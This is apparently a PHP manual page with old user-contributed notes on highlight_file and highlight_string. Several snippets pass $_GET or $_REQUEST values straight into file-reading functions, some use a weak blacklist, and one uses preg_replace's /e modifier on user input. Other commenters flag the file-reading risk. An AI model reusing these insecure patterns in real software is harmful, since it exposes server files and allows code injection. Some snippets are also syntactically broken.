  }

  /* highlight's a string */
  public function highlightString($string) {
    $hC = "";

    ob_start();
    highlight_string($string);
    $hC = ob_get_contents();
    ob_end_clean();

    return $this -> putColors($hC);
  }

  /* highlight's a file */
  public function highlightFile($file) {
    if(in_array($file, $this -> whitelist)) {
      return $this -> highlightString(join("", file($file)));
    }

    return "";
  }
}

?>

Usage:
$cl = new betterHighlighting([mixed files], [mixed colors]);

To put a file or a array of files to the whitelist, use (void)  ::addFiles(mixed files).

To set a new color for highlighting use (void) ::setColors(array("string" => ..., "comment" => ..., "keyword" => ..., "bg" => ..., "default" => ..., "html" => ...)).
You only have to give the keyword(s), which color you'll change. If you only want to change the color of the highlighted comments, call ::setColors(array("comment" => "newcolor")) and so on.

Highlighting String:
(string)::highlightString(string $source)

Highlighting File:
(string)::highlightFile(string $file)

Note: The two last function RETURNS the highlighted content, not shows it directly.

Little example: I want to highlight the file "test.php" and the comments should be pink.

<?php

$cl = betterHighlighting("test.php", array("comment" => "pink"));

echo $cl -> highlightFile("test.php");

?>

Have fun.
paul at cheddar dot vaughany dot com 21-Aug-2006 04:53
It's a basic idea but one maybe worth sharing.

<?php
switch($_GET['file']) {
    case 1:
        highlight_file("file1.php");
        break;
    case 2:
        highlight_file("file2.php");
        break;
    case 3:
        highlight_file("file3.php");
        break;
    default:
        header("Location: ".$_SERVER["PHP_SELF"]);
}
?>

Save the script as showfile.php and access it like this:

<a href="showfile.php?file=1">Click here to see file 1 source code</a>

The default case is for people editing the URL to try to access further files. Just don't add any files you don't want users to see, and maybe hard-code in large, random numbers or MD5 hashes.
showsource at gmail dot com 07-Apr-2006 05:18
Please, be aware of just using marlon at mbwp dot nl example to show the sourcecode
Do as told in this manual, "CAUTION", do some check on what code to highlight.
Simply just using $_GET["file"] is very bad.
marlon at mbwp dot nl 05-Mar-2006 05:06
I use the folowing code to highlight a file with line numbers:

<?php
echo "<table bgcolor=#EEEEEE><tr><td width=30>";
for ($i = 1; $i <= count(file($_GET['file'])); $i++) echo $i.".<br>";
echo "</td><td>";
highlight_file($_GET['file']);
echo "</td></tr></table>";
?>
msn at toolskyn dot nl 26-Feb-2006 01:18
I use this (simple and dirty) function in my tutorials to add linenumbers. I let all the linenumbers in one table cell so it is easier for people to copy and paste the code (so they don't have to remove all the linenumbers):

<?php
function highlight_with_linenum($file)
{
    //open handle, set vars
    $handle = fopen($file, "r");
    $count = 1;
    $lines = "";

    //look line ends
    while ($thisone = fread($handle, "1"))
    {
        if ($thisone == "\n")
        {
            //add number
            $lines .= $count . "<br />";
            $count++;
        }
    }
    //close handle
    fclose($handle);

    //highlight contents
    $contents = highlight_file($file, TRUE);

    //print output (you could as well return now)
    print '<table><tr><td><code>' .
          $lines . '</code></td><td>' .
          $contents . '</td></tr></table>';
}
?>

Maybe it's of use to someone
ganchev at design dot bg 13-Jan-2006 12:40
here's a simple way to add line numbers and
optionally highlight the one that has error on it.
just pass file and line arguments as GET variables

<?php

$f = fopen($_GET['file'], "r");
$count = 1;
$line = "";
echo "<table>";
while ($c = fread($f, "1")) {
  $line .= $c;
  if ($c == "\n") {
    echo "<tr style='background: " . (($_GET['line'] == $count) ? "#eedddd" : "#ffffff") . "'><td width='10%'>$count.</td><td>" . highlight_string($line, TRUE) . "</td></tr>\n";
    $line = "";
    $count++;
  }
}
echo "</table>";
fclose($f);

?>
dtroi50 at gmail dot com 09-Jan-2006 02:39
If you run a site that has PHP script examples and you want to show the source, instead of a phps file, just add the following code to the top of the script.

<?php
if(count($_GET)) {
highlight_file(__FILE__);
}
?>

Then to make a source link use this:

<?php
print'<a href="?source">Show source</a>';
?>

Note that you don't have to use souce. If any get variables are set, it'll work.

-Tom
venski at gmail dot com 06-Jan-2006 05:21
I think it will be better if the variable contains the files that are allowed to be viewed. There can always befound a way to pass the name of a forbiddedn file that is not in the prohibited array.

Thus the code will be:

<?php
//array with files to allow
$allowed = array('index.php', 'menu.php', 'about.php');

// get the filename
$file = $_GET[file];
if(file_Exists($file)){
    if(in_array($file, $allowed)){
        // check if it is part of the allowed list
        highlight_file($file); //highlight file
    }
    else{
        // not allowed. just die. do not warn ;)
        die("");
    }
}
else{
    // file doesnt exist
    echo "The file does not exist.";
}
?>
trukin at gmail dot com 08-Dec-2005 07:46
this function can be a high security risk. use something like in_array to check if a file is prohibited to be shown on screen.

<?
$ar= array('config.php', 'index.php', 'functions.php');    //array with files to denie
$file = $_GET[file];                    // iniziate the variable
if(file_Exists($file)){
    if(!in_array($file, $ar)){    // check if it is prohibited
        highlight_file($file); //highlight file
    }else{     // prohibited file
        echo "You do not have permision to see the ".$file." file.";
    }
}else{    // file doesnt exist
    echo "That file does not exist.";
}
?>
Michael Newton (http://mike.eire.ca/) 06-Dec-2005 09:48
To print out the current file:

<?php highlight_file( __FILE__ ); ?>

Useful to add this as a header to all scripts (during development only, of course!)

<?php
if ($_GET['debug']) {
    highlight_file( __FILE__ );
    exit;
}
?>
Vlad Alexa Mancini valexa at nextcode dot org 21-Feb-2005 11:19
Here is a small bash script that you can type at the console to make recursive symbolic .phps links for all your .php files starting at your curent directory

for f in `find -name '*.php'`; do ln -s `basename $f` $f's'; done

NOTE: You doubtedly want to do this at / as it will make such symlinks for all the php files on your filesystem

NOTE: This places the symlinks in the same directory as the php file that they are simlinking

And a simpler one that is not recursive and does the same thing but only for the php files in your current directory

for f in *.php; do ln -s $f $f's'; done
aidan at php dot net 26-Sep-2004 08:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidanlister.com/repos/v/function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidanlister.com/repos/v/PHP_Highlight.php
csst0266 at cs dot uoi dot gr 13-Aug-2004 09:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.
__halt_compiler
highlight_string
Misc. Functions


Syntax highlighting of a string

highlight_file
ignore_user_abort
Misc. Functions
PHP Manual

highlight_string

(PHP 4, PHP 5)

highlight_string — Syntax highlighting of a string

Description

mixed highlight_string ( string $str [, bool $return = false ] )

Outputs or returns a syntax highlighted version of the given PHP code using the colors defined in the built-in syntax highlighter for PHP.

Parameters

str

The PHP code to be highlighted. This should include the opening tag.

return

Set this parameter to TRUE to make this function return the highlighted code.

Return Values

If return is set to TRUE, returns the highlighted code as a string instead of printing it out. Otherwise, it will return TRUE on success, FALSE on failure.

Changelog

Version | Description
4.2.0 | The return parameter was added.

Examples

Example #1 highlight_string() example

<?php
highlight_string('<?php phpinfo(); ?>');
?>

The above example will output (in PHP 4):

<code><font color="#000000">
<font color="#0000BB">&lt;?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?&gt;</font>
</font>
</code>

The above example will output (in PHP 5):

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

Notes

Note:

When the return parameter is used, this function uses internal output buffering so it can not be used inside an ob_start() callback function.

See Also

  • highlight_file() - Syntax highlighting of a file

User Contributed Notes

Mean^_^ 18-Apr-2009 09:45
[EDIT BY danbrown AT php DOT net: The following note contains a user-supplied version of a syntax highlighter.]

<style type="text/css">
.linenum{
    text-align:right;
    background:#FDECE1;
    border:1px solid #cc6666;
    padding:0px 1px 0px 1px;
    font-family:Courier New, Courier;
    float:left;
    width:17px;
    margin:3px 0px 30px 0px;
    }

code    {/* safari/konq hack */
    font-family:Courier New, Courier;
}

.linetext{
    width:700px;
    text-align:left;
    background:white;
    border:1px solid #cc6666;
    border-left:0px;
    padding:0px 1px 0px 8px;
    font-family:Courier New, Courier;
    float:left;
    margin:3px 0px 30px 0px;
    }

br.clear    {
    clear:both;
}

</style>
<?php

 function printCode($code, $lines_number = 0)    {

         if (!is_array($code)) $codeE = explode("\n", $code);
        $count_lines = count($codeE);

        $r1 = "Code:<br />";

         if ($lines_number){
                $r1 .= "<div class=\"linenum\">";
                foreach($codeE as $line =>$c) {
                    if($count_lines=='1')
                        $r1 .= "1<br>";
                    else
                        $r1 .= ($line == ($count_lines - 1)) ? "" :  ($line+1)."<br />";
                 }
                 $r1 .= "</div>";
         }

         $r2 = "<div class=\"linetext\">";
         $r2 .= highlight_string($code,1);
         $r2 .= "</div>";

        $r .= $r1.$r2;

        echo "<div class=\"code\">".$r."</div>\n";
    }

    printCode('<?php echo "PHP Code" ?>    ',1);
?>

by mean
Share idea.
good luck ^_^
Dmitry S 24-Jul-2008 01:38
Alternative XML syntax highlighting.

<?php
function xml_highlight($s)
{
    $s = htmlspecialchars($s);
    $s = preg_replace("#&lt;([/]*?)(.*)([\s]*?)&gt;#sU",
        "<font color=\"#0000FF\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([\?])(.*)([\?])&gt;#sU",
        "<font color=\"#800000\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([^\s\?/=])(.*)([\[\s/]|&gt;)#iU",
        "&lt;<font color=\"#808000\">\\1\\2</font>\\3",$s);
    $s = preg_replace("#&lt;([/])([^\s]*?)([\s\]]*?)&gt;#iU",
        "&lt;\\1<font color=\"#808000\">\\2</font>\\3&gt;",$s);
    $s = preg_replace("#([^\s]*?)\=(&quot;|')(.*)(&quot;|')#isU",
        "<font color=\"#800080\">\\1</font>=<font color=\"#FF00FF\">\\2\\3\\4</font>",$s);
    $s = preg_replace("#&lt;(.*)(\[)(.*)(\])&gt;#isU",
        "&lt;\\1<font color=\"#800080\">\\2\\3\\4</font>&gt;",$s);
    return nl2br($s);
}
?>
fsx dot nr01 at gmail dot com 13-Jun-2008 09:22
Here is an improved version of the code highlighter w/ linenumbers from 'vanessaschissato at gmail dot com' - http://nl.php.net/manual/en/function.highlight-string.php#70456

<?php

    function printCode($source_code)
    {

        if (is_array($source_code))
            return false;

        $source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", $source_code));
        $line_count = 1;

        foreach ($source_code as $code_line)
        {
            $formatted_code .= '<tr><td>'.$line_count.'</td>';
            $line_count++;

            if (ereg('<\?(php)?[^[:graph:]]', $code_line))
                $formatted_code .= '<td>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</td></tr>';
            else
                $formatted_code .= '<td>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</td></tr>';
        }

        return '<table style="font: 1em Consolas, \'andale mono\', \'monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
    }

?>
Dobromir Velev 27-May-2008 04:04
Here is an improved version of Dimitry's xml_highlight function.
I fixed a bug which replaced the first character of the tags name,
and added a line to replace the tabs and spaces with
non-breaking space symbols to keep the identation.

<?
function xml_highlight($s){
  $s = preg_replace("|<([^/?])(.*)\s(.*)>|isU", "[1]<[2]\\1\\2[/2] [5]\\3[/5]>[/1]", $s);
  $s = preg_replace("|</(.*)>|isU", "[1]</[2]\\1[/2]>[/1]", $s);
  $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]", $s);
  $s = preg_replace("|\=\"(.*)\"|isU", "[6]=[/6][4]\"\\1\"[/4]",$s);
  $s = htmlspecialchars($s);
  $s = str_replace("\t","&nbsp;&nbsp;",$s);
  $s = str_replace(" ","&nbsp;",$s);
  $replace = array(1=>'0000FF', 2=>'0000FF', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
  foreach($replace as $k=>$v) {
    $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU", "<font color=\"#".$v."\">\\1</font>", $s);
  }

  return nl2br($s);
}
?>
Dmitry S 12-May-2008 06:29
The simple XML syntax highlighting.

<?php
function xml_highlight($s)
{
     $s = preg_replace("|<[^/?](.*)\s(.*)>|isU","[1]<[2]\\1[/2] [5]\\2[/5]>[/1]",$s);
     $s = preg_replace("|</(.*)>|isU","[1]</[2]\\1[/2]>[/1]",$s);
     $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]",$s);
     $s = preg_replace("|\=\"(.*)\"|isU","[6]=[/6][4]\"\\1\"[/4]",$s);
     $s = htmlspecialchars($s);
     $replace = array(1=>'0000FF', 2=>'808000', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
     foreach($replace as $k=>$v)
     {
          $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU","<font color=\"".$v."\">\\1</font>",$s);
     }
    return nl2br($s);
}
?>
Daniel 20-Feb-2008 02:49
Well, Just a little something I wrote which highlights an HTML code...It'll be going through many changes in the next few days.... until then =) enjoy

<?php
/*************************************\
 CODE PANE 1.0 - SILVERWINGS - D. Suissa
\*************************************/

class HTMLcolorizer{
    private $pointer = 0; //Cursor position.
    private $content = null; //content of document.
    private $colorized = null;
    function __construct($content){
        $this->content = $content;
    }
    function colorComment($position){
        $buffer = "&lt;<span class='HTMLComment'>";
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            $buffer.= $this->content[$position];
        }
        $buffer .= "</span>&gt;";
        $this->colorized .= $buffer;
        return $position;
    }
    function colorTag($position){
        $buffer = "&lt;<span class='tagName'>";
        $coloredTagName = false;
        //As long as we're in the tag scope
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            if($this->content[$position] == " " && !$coloredTagName){
                $coloredTagName = true;
                $buffer.="</span>";
            }else if($this->content[$position] != " " && $coloredTagName){
                //Expect attribute
                $attribute = "";
                //While we're in the tag
                for(;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
                    if($this->content[$position] != "="){
                        $attribute .= $this->content[$position];
                    }else{
                        $value="";
                        $buffer .= "<span class='tagAttribute'>".$attribute."</span>=";
                        $attribute = ""; //initialize it
                        $inQuote = false;
                        $QuoteType = null;
                        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != " "  ;$position++){
                            if($this->content[$position] == '"' || $this->content[$position] == "'"){
                                $inQuote = true;
                                $QuoteType = $this->content[$position];
                                $value.=$QuoteType;
                                //Read Until next quotation mark.
                                for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != $QuoteType  ;$position++){
                                    $value .= $this->content[$position];
                                }
                                $value.=$QuoteType;
                            }else{//No Quotation marks.
                                $value .= $this->content[$position];
                            }
                        }
                        $buffer .= "<span class='tagValue'>".$value."</span>";
                        break;
                    }

                }
                if($attribute != ""){$buffer.="<span class='tagAttribute'>".$attribute."</span>";}
            }
            if($this->content[$position] == ">" ){break;}else{$buffer.= $this->content[$position];}

        }
        //In case there were no attributes.
        if($this->content[$position] == ">" && !$coloredTagName){
            $buffer.="</span>&gt;";
            $position++;
        }
        $this->colorized .= $buffer;
        return --$position;
    }
    function colorize(){
        $this->colorized="";
        $inTag = false;
        for($pointer = 0;$pointer<strlen($this->content);$pointer++){
            $thisChar = $this->content[$pointer];
            $nextChar = $this->content[$pointer+1];
            if($thisChar == "<"){
                if($nextChar == "!"){
                    $pointer = $this->colorComment($pointer);
                }else if($nextChar == "?"){
                    //colorPHP();
                }else{
                    $pointer = $this->colorTag($pointer);
                }
            }else{
                $this->colorized .= $this->content[$pointer];
            }
        }
        return $this->colorized;
    }
}
$curDocName = $_REQUEST['doc'];
$docHandle = fopen($curDocName,"r");
$docStrContent = fread($docHandle,filesize($curDocName));
fclose($docHandle);
$HTMLinspector = new HTMLcolorizer($docStrContent);
$document = $HTMLinspector->colorize();
?>

<html>
    <head>
        <style type="text/css">
        /**********************\
         * MOZILLA FIREFOX STYLE
        \**********************/
        /*pre{font-family:Tahoma;font-size:px;}*/
        .tagName{color:purple;}
        .tagAttribute{color:red;}
        .tagValue{color:blue;}
        .HTMLComment{font-style:italic;color:green;}
        </style>
    </head>
    <body>
    <?php
        echo "<pre>".$document."</pre>";
    ?>
    </body>
</html>
wm at tellinya dot com 17-Dec-2007 04:32
I wanted to build a better function and exclude operators {}=- from keywords span class. I also wanted to link functions used in my PHP code directly to the PHP site.
A lot more changes and tweaks have been made and the output is much better!

Find the function here :
http://www.tellinya.com/art2/262/highligh-php-syntax/
and ditch the old PHP one permanently.
Tested and built on PHP 5.2.0.

Looking forward to any input.
phpnotes dot 20 dot zsh at spamgourmet dot com 19-Sep-2007 08:05
peter at int8 dot com > "This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet."

It does also require enabled open/close tags. For example:

<?php
highlight_string('<? echo "Hello world!";?>');
?>

Won't work with short_open_tag = Off. Compare example 10.2 on:
Main mirror (http://www.php.net/manual/en/language.basic-syntax.php#id2530407)
US mirror (http://us.php.net/manual/en/language.basic-syntax.php#id2530407)
IN mirror (http://in.php.net/manual/en/language.basic-syntax.php#id2530407)
www.phella.net 05-Sep-2007 08:47
When you quote highlighted PHP code in your website you need to escape quotes. If you quote a lot it may be annoyning. Here is tiny snippet how to make quoting tidy and clean. Write your code like this:

<?code()?>
  $string = 'Here I put my code';
<?code()?>

And somewhere else define the function:

<?
  function code()
  {
    static $on=false;
    if (!$on) ob_start();
    else
    {
      $buffer= "<?\n".ob_get_contents()."?>";
      ob_end_clean();
      highlight_string($buffer);
    }
    $on=!$on;
  }
?>
dark_messenger84 at yahoo dot co dot uk 02-Sep-2007 01:31
Here's an improved version of supremacy2k at gmail dot com's code. It's a small function that accepts either PHP syntax in plain text or from another script, and then parses it into an ordered list with syntax highlighting.

<?php
function print_php_code($str, $type) {
    switch ($type) {
        case "text":
            $str = highlight_string($str, true);
        break;
        case "file":
            $str = highlight_file($str, true);
        break;
    }
    $str = explode("<br />", $str);
    echo "<div>";
    echo "<ol>\n";
    foreach ($str as $line => $syntax) {
        echo "<li><code>" . $syntax . "</code></li>";
    }
    echo "</ol>\n";
    echo "</div>";
}
?>
supremacy2k at gmail dot com 31-Mar-2007 04:06
A simplification of functions vanessaschissato at gmail dot com at 17-Oct-2006 05:04.

Since it had trouble keeping the code intact. (It removed /* )

function showCode($code) {
 $code = highlight_string($code, true);
 $code = explode("<br />", $code);

 $i = "1";
 foreach ($code as $line => $syntax) {
  echo "<font color='black'>".$i."</font> ".$syntax."<br>";
  $i++;
 }
}
Pyerre 04-Mar-2007 01:29
This fonction replaces every space with the html code &nbsp; (non-breaking space)
this is not very good because text will not go to the line and causes a big width
for example in a bordered div, text will go across the border

my solution :
echo str_replace("&nbsp;", " ",highlight_string("Arise, you children of the fatherland",true));
echo str_replace("&nbsp;", " ",highlight_file("test.php",true));
vanessaschissato at gmail dot com 17-Oct-2006 08:04
This class show a code formated.
Allow options for to format.
Options: highlight code and to show line number

<?php

class Code
{

    function printCode($code, $high_light = 0, $lines_number = 0)
    {
        if (!is_array($code)) $code = explode("\n", $code);

        $count_lines = count($code);

        foreach ($code as $line => $code_line) {

            if ($lines_number) $r1 = "<span class=\"lines_number\">".($line + 1)." </span>";

            if ($high_light) {
                if (ereg("<\?(php)?[^[:graph:]]", $code_line)) {
                    $r2 = highlight_string($code_line, 1)."<br />";
                } else {

                    $r2 = ereg_replace("(&lt;\?php&nbsp;)+", "", highlight_string("<?php ".$code_line, 1))."<br />";

                }
            } else {
                $r2 = (!$line) ? "<pre>" : "";
                $r2 .= htmlentities($code_line);
                $r2 .= ($line == ($count_lines - 1)) ? "<br /></pre>" : "";
            }

            $r .= $r1.$r2;

        }

        echo "<div class=\"code\">".$r."</div>";
    }
}

?>
tyler dot reed at brokeguysinc dot com 01-Oct-2006 06:11
This is a little chunk of code that i use to show the source of a file, i took part of the idea from a example i found on another php function page.

This code takes a php file and highlights it and places a line number next to it.  Great for on the fly debugging.

<?php
// Get a file into an array
$lines = file('index.php');

// Loop through our array, show HTML source as HTML source; and line numbers too.
echo('<table border=0 cellpadding=0 cellspacing=0>');
foreach ($lines as $line_num => $line) {
    echo('<tr>');
    echo('<td bgcolor = "#cccccc">');
    echo('<code>' . ($line_num + 1) . '</code>');
    echo('</td>');
    echo('<td>');
    highlight_string($line);
    echo('</td>');
    echo('</tr>');
}

?>
thomas et luegger _dot_ de 20-Jul-2006 05:20
Thanks to peter at int8 dot com, your comment saved quite some time.

In my case even short tags didn't work right (PHP 5.0.5).

The following function offers subversion independent highlighting for PHP5. If you want to display code snippets without tags or use css for code formating it might be a usefull starting point. It is intented for small code fragments only and does not handle sources with multiple php blocks correctly.

Beware, the <code> tag is stripped off.

<?php

  /*

  These classes are used for highlighting, happy css-ing:

  .phpdefault { color:#0000BB; font-weight: bold;}
  .phpkeyword { color:#007700; font-weight: bold;}
  .phpstring  { color:#DD0000; font-weight: normal;}
  .phpcomment { color:#FF8000; font-weight: normal;}

  */

/**
 * Highlights PHP-source snippets with and without php-tags, inserts class definitions on request
 *
 * Strips <code> and <span color:black>, removes empty spans
 *
 * @param string $source Source to highlight
 * @param boolean $classes, true links source elements to classes
 * @return string
 */
function php_highlight($source, $classes = false)
{
  if (version_compare( phpversion(), "5.0.0", "<")) return "PHP 5 required";

  $r1 = $r2 = '##';

  // adds required PHP tags (at least with vers. 5.0.5 this is required)
  if ( strpos($source,' ?>') === false ) // xml is not THAT important ;-)
  {
    $source = "<?php ".$source." ?>";
    $r1 = '#&lt;\?.*?(php)?.*?&nbsp;#s';
    $r2 = '#\?&gt;#s';
  }
  elseif (strpos($source,'<? ') !== false)
  {
    $r1 = '--';
    $source = str_replace('<? ','<?php ',$source);
  }

  $source = highlight_string($source,true);

  if ($r1 =='--') $source = preg_replace('#(&lt;\?.*?)(php)?(.*?&nbsp;)#s','\\1\\3',$source);

  $source = preg_replace (array ( '/.*<code>\s*<span style="color: #000000">/',    //
                                  '#</span>\s*</code>#',                          //  <code><span black>
                                  $r1, $r2,                 // php tags
                                  '/<span[^>]*><\/span>/'   // empty spans
                                ),'',$source);

  if ($classes) $source = str_replace( array('style="color: #0000BB"','style="color: #007700"',
                                         'style="color: #DD0000"','style="color: #FF8000"'),
                                   array('class="phpdefault"','class="phpkeyword"',
                                         'class="phpstring"','class="phpcomment"',),$source);

  return $source;
}

echo '<p>Some tests:</p><p>';
echo php_highlight('<?php $test = new func("Text"); /* regular tags, use classes */ ?>',true),'<br />';
echo 'Inline code: ',php_highlight('<? $test = new func("Text"); /* short tags */ ?>'),
     ' works without or ',php_highlight('define (\'WITH_CLASSES\',\' too\'); /* no tags */',true),'<br />';
echo php_highlight('$test = new func("Text"); /* no tags, no classes */'),'<br />';
echo '</p><p>You are running PHP: '.phpversion().'</p>';

?>

hope it saves someones time, Tom
peter at int8 dot com 19-Apr-2006 04:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
m dot lebkowski+phpnet at gmail dot com 07-Apr-2006 04:31
stalker, I`m afraid your function has a bug. Whenever a input string will contain a substring: 'color="foo.bar"' it will be replaced by your function, whitch is of course incorrect. Try this:

<?php
function xhtmlHighlightString( $str, $return=false )
{
   $hlt = highlight_string( $str, true );
   $ret = str_replace(
         array( '<font color="', '</font>' ),
         array( '<span style="color: ', '</span>' ),
         $hlt );
   if($return)
         return $ret;
   echo $ret;
   return true;
}

function xhtmlHilightFile( $path, $return = false )
{
        return xhtmlHighlightString( file_get_contents( $path ), $return );
} ?>
stalker at ruun dot de 31-Dec-2005 01:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
05-Nov-2005 11:05
growling octopus's code didn't work under Windows, so I made this and it worked:
<?php
if (!empty($_GET['source'])) {
   $f = file_get_contents($_SERVER['SCRIPT_FILENAME']);
   highlight_string($f);
   exit();
}
?>
growlingoctopus at no-spam dot gmail dot com 17-Oct-2005 04:37
Here's a trick I use when I want to show people the source to one of my scripts, but don't feel like uploading phps files or the host doesn't support them.
<?php
if (!empty($_GET['source'])) {
    $f = implode(file(substr(__FILE__,strrpos(__FILE__,'/')+1)));
    highlight_string(trim(substr($f,strpos($f,'?'.'>')+2)));
    exit();
}
?>
By adding that to the top of the script, you can then call the script with ?source=1 and it will show the source for the file ... it should work with any script (as long as you aren't using $_GET['source'] for something else, you can always change that if you do).
vouksh at vouksh dot info 10-Sep-2005 10:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
    $hlt = highlight_string(stripslashes($str), true);
    $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
    $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
    echo $ret;
    return true;
}
?>
webmaster at gelan dot org 20-Aug-2005 11:27
Some BB-codes width preg_replace:

<?php
function bb_url($str){
return preg_replace('#[URL=([^\']*)]([^\']*)[/URL]#', '<a href="\\1" target=_blank>\\2</a>', $str);
}
function bb_php($str){
$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
return preg_replace($match, $replace, $str);
}
function bb_img($str){
return preg_replace('#[IMG]([^\']*)[/IMG]#', '<img src="\\1" />', $str);
}
function bb_b{$str){
return preg_replace('#[B]([^\']*)[/B]', '<strong>\\1</strong>', $str);
}
function bb_i{$str){
return preg_replace('#[I]([^\']*)[/I]', '<em>\\1</em>', $str);
}
function bb_parse{$str){
$str = bb_url($str);
$str = bb_php($str);
$str = bb_img($str);
$str = bb_b($str);
$str = bb_i($str);
return $str
}
?>
zer0 20-Jun-2005 09:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($code, true);
        }

        # Using preg_replace will allow PHP 4 in on the fun
        if ( $inline === true )
            $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
        else
            $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
zero 16-Jun-2005 03:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($data, true);
        }

        ## The classes below need to correspond to a stylesheet!
        if ( $inline === true )
          $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
        else
          $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
Sam Wilson 14-Jun-2005 11:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com 13-Jun-2005 01:04
On dleavitt AT ucsc DOT edu's comment:

You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
dleavitt at ucsc dot edu 04-Jun-2005 02:37
This function does not seem to like <script> tags in HTML strings: if there are any close tags for scripts (whatever their language/type) the syntax highlighter will poop out. The workaround is simple though:
<?php
$html_string = str_replace("script","piggusmaloy", $html_string);
$html_string = highlight_string($html_string, true);
$html_string = str_replace("piggusmaloy","script", $html_string);
echo $html_string;
?>
This works best if you don't have "piggusmaloy" anywhere in your string (a safe assumption?)
trixsey at animania dot nu 29-May-2005 04:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
    $html = highlight_string($code, true);
    $html = str_replace("\n", "", $html);
    $rows = explode("<br />", $html);

    $row_num = array();
    $i = 1;

    foreach($rows as $row) {
        if($i < 10) {
            $i = "0".$i;
        }

        if($i==1) {
            $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
        }

        if($i!=1) {
            if(is_int($i/2)) {
                $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            } else {
                $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            }
        }

        $i++;
    }
    return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
    style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de 10-Apr-2005 04:58
